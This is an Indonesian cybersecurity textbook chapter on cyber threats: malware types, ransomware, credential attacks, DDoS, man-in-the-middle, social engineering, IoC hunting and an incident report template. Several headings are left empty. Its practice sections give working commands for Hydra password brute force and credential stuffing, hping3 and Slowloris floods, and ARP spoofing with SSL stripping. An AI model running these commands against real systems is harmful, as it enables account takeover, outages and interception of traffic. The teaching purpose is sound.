BAB 07 - ANCAMAN SIBER

Definisi

Komponen Ancaman

Setiap ancaman siber terdiri dari kombinasi:

Framework: Cyber Kill Chain (Lockheed Martin)

Model Cyber Kill Chain oleh Lockheed Martin (2011) menggambarkan 7 tahap serangan siber:

Threat Landscape 2024

Threat actor (pelaku ancaman) adalah individu, kelompok, atau organisasi yang melancarkan serangan siber. Memahami motivasi dan kemampuan mereka membantu kita memprediksi dan mencegah serangan.

Jenis-Jenis Threat Actor

APT (Advanced Persistent Threat)

APT adalah serangan jangka panjang yang dilakukan oleh threat actor sangat canggih, biasanya didanai negara. Karakteristik:

• Advanced: pakai teknik & tools canggih, zero-day exploits
• Persistent: bertahan berbulan-bulan bahkan bertahun-tahun di jaringan
• Threat: ancaman nyata terhadap aset kritis

APT Group Terkenal:

Malware (malicious software) adalah perangkat lunak berbahaya yang dirancang untuk merusak, mengganggu, atau mendapatkan akses tidak sah ke sistem komputer. Malware adalah senjata utama dalam serangan siber modern.

Definisi

Klasifikasi Malware

Statistik Malware

Tiga jenis malware klasik yang masih relevan hingga hari ini. Memahami perbedaannya penting untuk deteksi dan pencegahan yang tepat.

1. Virus

Virus adalah program berbahaya yang menempel pada file atau program lain dan membutuhkan aksi user untuk menyebar (seperti menjalankan file terinfeksi).

Karakteristik Virus:

• Menempel ke file executable (.exe, .com, dokumen macro)
• Butuh host - tidak bisa berdiri sendiri
• Butuh aksi user - buka file, jalankan program
• Replikasi - menginfeksi file lain saat dijalankan
• Payload - aksi berbahaya (hapus file, corrupt data, dll)

Jenis-jenis Virus:

2. Worm

Worm adalah malware mandiri yang menyebar sendiri melalui jaringan tanpa bantuan user dan tanpa butuh host file.

Karakteristik Worm:

• Mandiri - program lengkap, tidak butuh host
• Menyebar sendiri - eksploitasi vulnerability jaringan
• Cepat - bisa infect ribuan komputer dalam hitungan jam
• Memakan bandwidth - replikasi massal memperlambat jaringan

3. Trojan

Trojan (Trojan Horse) adalah malware yang menyamar sebagai program sah/berguna. Tidak mereplikasi diri, tapi menipu user untuk menginstallnya.

Karakteristik Trojan:

• Menyamar - terlihat seperti software legitimate
• Tidak mereplikasi - tidak menyebar sendiri
• Butuh aksi user - download & install
• Multi-fungsi - backdoor, keylogger, downloader, dll

Jenis-jenis Trojan:

Perbandingan: Virus vs Worm vs Trojan

Ransomware

Ransomware adalah jenis malware yang mengenkripsi data korban dan meminta tebusan (ransom) biasanya dalam cryptocurrency untuk mendekripsinya. Ini adalah ancaman paling menguntungkan bagi kriminal siber saat ini.

Jenis Ransomware:

Model Bisnis RaaS (Ransomware-as-a-Service):

• Developer membuat ransomware
• Affiliate menjalankan serangan (dapat 70-80% tebusan)
• Developer dapat 20-30% + fee akses
• Support help desk untuk korban (benar-benar ada!)
• Negotiator profesional untuk negosiasi tebusan

Spyware

Spyware adalah malware yang mata-matai aktivitas user tanpa sepengetahuan mereka, mengumpulkan informasi sensitif dan mengirimkannya ke attacker.

Jenis-jenis Spyware:

Pencegahan Ransomware & Spyware

Credential attack adalah serangan yang bertujuan mencuri atau menebak kredensial (username/password) untuk mendapatkan akses tidak sah. Menurut Verizon DBIR 2024, credential attacks adalah vektor serangan paling umum, terlibat dalam 49% breach.

Jenis Credential Attack

Praktik: Brute Force dengan Hydra

Bash - Hydra Brute Force
# Install Hydra
$ sudo apt install hydra

# Brute force SSH
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt \
    ssh://192.168.1.100

# Brute force FTP
$ hydra -L users.txt -P passwords.txt ftp://target.com

# Brute force HTTP form login
$ hydra -l admin -P rockyou.txt target.com \
    http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

# Credential stuffing (dari file breach)
$ hydra -C combo.txt target.com http-post-form "/login:..."
# combo.txt berisi user:password per baris

Pertahanan terhadap Credential Attack

Denial of Service (DoS) adalah serangan yang bertujuan membuat layanan tidak tersedia bagi user yang sah. Versi terdistribusinya, DDoS (Distributed DoS), melibatkan banyak sumber serangan sekaligus.

DoS vs DDoS

Kategori Serangan DDoS

1. Volumetric Attacks (Layer 3/4)

Membanjiri bandwidth dengan trafik massal:

• UDP Flood: kirim paket UDP random ke port random
• ICMP Flood (Ping Flood): banjur dengan ICMP echo request
• DNS Amplification: exploit DNS server untuk amplifikasi trafik (1 query = 100x response)
• NTP Amplification: exploit NTP server monlist command
• Memcached Amplification: amplifikasi hingga 50,000x!

2. Protocol Attacks (Layer 3/4)

Memanfaatkan kelemahan protokol:

• SYN Flood: kirim SYN tanpa ACK, habiskan connection table
• Ping of Death: paket ICMP oversized
• Smurf Attack: ICMP broadcast dengan IP spoofing
• Fragmentation Attack: paket terfragmentasi membanjiri

3. Application Layer Attacks (Layer 7)

Target aplikasi spesifik, sulit dideteksi:

• HTTP Flood: banjur dengan GET/POST request
• Slowloris: buka koneksi HTTP lambat, habiskan connection
• RUDY (Red-Urgency-Do-You): form submission lambat
• WordPress XML-RPC: exploit pingback feature

Praktik: DDoS dengan hping3 (LAB ONLY!)

Bash - hping3 DDoS (LAB ONLY!)
# PERINGATAN: Hanya di lab sendiri! Ilegal di produksi!

# SYN Flood
$ sudo hping3 -S -p 80 --flood 192.168.1.100

# UDP Flood
$ sudo hping3 --udp -p 53 --flood 192.168.1.100

# ICMP Flood
$ sudo hping3 --icmp --flood 192.168.1.100

# Slowloris (Python tool)
$ python3 slowloris.py 192.168.1.100 -s 500

# Cek server yang diserang
$ netstat -an | grep :80 | wc -l
5000  # banyak koneksi SYN_RECV

Pertahanan DDoS

Man-in-the-Middle (MITM) adalah serangan di mana attacker menyisipkan diri di tengah komunikasi antara dua pihak, bisa membaca, memodifikasi, atau menyuntikkan data tanpa sepengetahuan mereka.

Jenis Serangan MITM

Praktik: ARP Spoofing dengan Bettercap

Bash - ARP Spoofing (LAB ONLY!)
# PERINGATAN: Hanya di lab sendiri!

# Install bettercap
$ sudo apt install bettercap

# ARP spoofing - jadi gateway palsu
$ sudo bettercap -iface eth0 -caplet arp-spoof.cap

# Atau pakai arpspoof (dsniff)
$ sudo arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
# Bilang ke target (192.168.1.10) bahwa kita adalah gateway (192.168.1.1)

# Aktifkan IP forwarding agar trafik tetap jalan
$ echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# Sniff trafik dengan Wireshark/tcpdump
$ sudo tcpdump -i eth0 -n -X host 192.168.1.10

# SSL Stripping dengan sslstrip
$ sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
$ sudo sslstrip -l 8080

Pertahanan MITM

Sudah dibahas detail di Bab 04. Di sini kita tinjau dari perspektif serangan - bagaimana attacker menggunakan social engineering sebagai vektor serangan.

Statistik

Vektor Serangan Social Engineering

Business Email Compromise (BEC)

BEC adalah serangan social engineering canggih yang menargetkan organisasi melalui email, biasanya menyamar sebagai eksekutif atau vendor untuk meminta transfer dana.

Tahapan BEC:

1. Reconnaissance: riset target (organisasi, eksekutif, vendor)
2. Access: kompromisasi email (phishing, credential stuffing)
3. Establish trust: monitor komunikasi, pelajari pola
4. Execute: kirim email palsu minta transfer
5. Money mule: transfer ke rekening penampung (sering di luar negeri)

Pertahanan Social Engineering

Setiap serangan siber meninggalkan jejak. Kemampuan mendeteksi jejak ini (disebut IoC - Indicator of Compromise) adalah skill penting bagi security professional.

Dampak Serangan Siber

IoC - Indicator of Compromise

IoC adalah artefak digital yang menunjukkan sistem telah dikompromikan. IoC digunakan untuk deteksi dan investigasi.

Jenis-jenis IoC:

IoC vs IoA

Praktik: Mencari IoC

Bash - IoC Hunting
# 1. Cari file mencurigakan berdasarkan hash
$ find / -type f -exec md5sum {} \; 2>/dev/null | \
    grep "e99a18c428cb38d5f260853678922e03"

# 2. Cek koneksi ke IP mencurigakan
$ netstat -an | grep "185.220.101.34"
$ ss -tulpn | grep ESTABLISHED

# 3. Cari proses mencurigakan
$ ps aux | grep -i "mimikatz\|powershell -enc"
$ lsof -i -P -n | grep LISTEN

# 4. Cek log autentikasi
$ grep "Failed password" /var/log/auth.log | tail -20
$ last -a | head -20

# 5. Cari file baru yang tidak biasa
$ find /tmp /var/tmp -type f -mtime -1 -ls
$ find / -perm -4000 -type f 2>/dev/null  # SUID binaries

# 6. Cek DNS query mencurigakan
$ tcpdump -i any port 53 -n | grep -v "google.com\|cloudflare"

# 7. Analisis dengan VirusTotal
$ curl -s -X GET "https://www.virustotal.com/api/v3/files/{hash}" \
    -H "x-apikey: YOUR_API_KEY"

MITRE ATT&CK Framework

MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) adalah knowledge base global tentang taktik dan teknik serangan yang diamati di dunia nyata.

14 Taktik MITRE ATT&CK:

Security Incident Report Template

Incident Report Template
# ============================================
# SECURITY INCIDENT REPORT
# ============================================

Incident ID: INC-2026-0909-001
Date Detected: 2026-09-09 14:32 WIB
Reporter: [Nama Security Analyst]
Severity: HIGH / CRITICAL

## Executive Summary
[Ringkasan singkat insiden]

## Timeline
- 2026-09-09 14:32 - Anomali terdeteksi di SIEM
- 2026-09-09 14:45 - Investigasi awal dimulai
- 2026-09-09 15:10 - IoC dikonfirmasi
- 2026-09-09 16:00 - Containment dilakukan

## Indicators of Compromise (IoC)
- Malware Hash: abc123...def456
- C2 IP: 185.220.101.34
- C2 Domain: evil-domain.xyz
- Affected Hosts: WS-FINANCE-01, SRV-DB-02

## Attack Vector
Phishing email dengan attachment malicious.doc

## MITRE ATT&CK Mapping
- T1566.001: Phishing: Spearphishing Attachment
- T1059.001: PowerShell execution
- T1071.001: C2 via Web Protocols

## Impact
- 3 workstation terinfeksi
- Data sensitif: TIDAK bocor
- Downtime: 2 jam

## Containment Actions
- Isolasi host terinfeksi
- Block C2 IP di firewall
- Reset password user terkait

## Remediation
- Reimage workstation
- Patch vulnerability yang dieksploitasi
- Awareness training untuk user

## Lessons Learned
- Email filtering perlu ditingkatkan
- EDR perlu di-update signature
- User training phishing diperlukan

Uji pemahaman Anda tentang Bab 07! Target minimal: 70% untuk melanjutkan ke Bab 08.